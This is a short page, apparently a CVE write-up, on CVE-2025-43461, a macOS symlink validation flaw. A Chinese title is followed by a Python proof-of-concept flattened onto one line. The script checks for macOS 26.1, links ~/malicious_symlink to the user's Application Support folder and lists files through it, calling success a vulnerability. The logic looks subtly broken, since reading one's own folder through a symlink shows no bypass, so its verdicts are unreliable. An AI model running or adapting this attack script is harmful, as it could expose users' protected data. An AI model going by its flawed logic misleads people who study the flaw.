CVE-2025-43461 macOS符号链接验证不严导致受保护数据泄露

# CVE-2025-43461 PoC - macOS Symlink Validation Bypass # This PoC demonstrates the symlink validation issue in macOS Tahoe 26.1 # Note: This is for educational/research purposes only import os import sys import subprocess from pathlib import Path def create_symlink_attack(): """ Create a symlink to a protected directory to demonstrate the vulnerability. In vulnerable versions, the system fails to properly validate symlink targets. """ # Target protected directory (example: Application Support folder) protected_path = Path.home() / "Library" / "Application Support" # Attacker's controlled symlink location attack_symlink = Path.home() / "malicious_symlink" try: # Remove existing symlink if present if attack_symlink.exists() or attack_symlink.is_symlink(): attack_symlink.unlink() # Create symlink pointing to protected directory # In vulnerable versions, this bypasses access controls os.symlink(protected_path, attack_symlink) print(f"[+] Symlink created: {attack_symlink} -> {protected_path}") # Attempt to read through symlink (should be blocked but isn't in vulnerable versions) if os.path.exists(attack_symlink): print("[+] Symlink is accessible - vulnerability may be present") # List contents through symlink try: contents = list(Path(attack_symlink).iterdir()) print(f"[+] Accessible contents: {len(contents)} items") for item in contents[:5]: # Show first 5 items print(f" - {item.name}") except PermissionError: print("[-] Access denied - system may be patched") except Exception as e: print(f"[-] Error: {e}") def check_macos_version(): """Check if running macOS Tahoe 26.1 or vulnerable version""" try: result = subprocess.run(['sw_vers', '-productVersion'], capture_output=True, text=True) version = result.stdout.strip() print(f"[*] Current macOS version: {version}") # Check if version contains "26.1" or is in vulnerable range if "26.1" in version: print("[!] Running macOS Tahoe 26.1 - may be vulnerable") return True else: print("[*] Version check: may not be vulnerable") return False except Exception as e: print(f"[-] Could not determine version: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-43461 Symlink Validation Bypass PoC") print("=" * 60) if sys.platform != 'darwin': print("[-] This PoC is designed for macOS only") sys.exit(1) print("\n[*] Checking macOS version...") is_vulnerable = check_macos_version() if is_vulnerable: print("\n[*] Attempting symlink attack...") create_symlink_attack() else: print("\n[*] System may not be vulnerable to this CVE")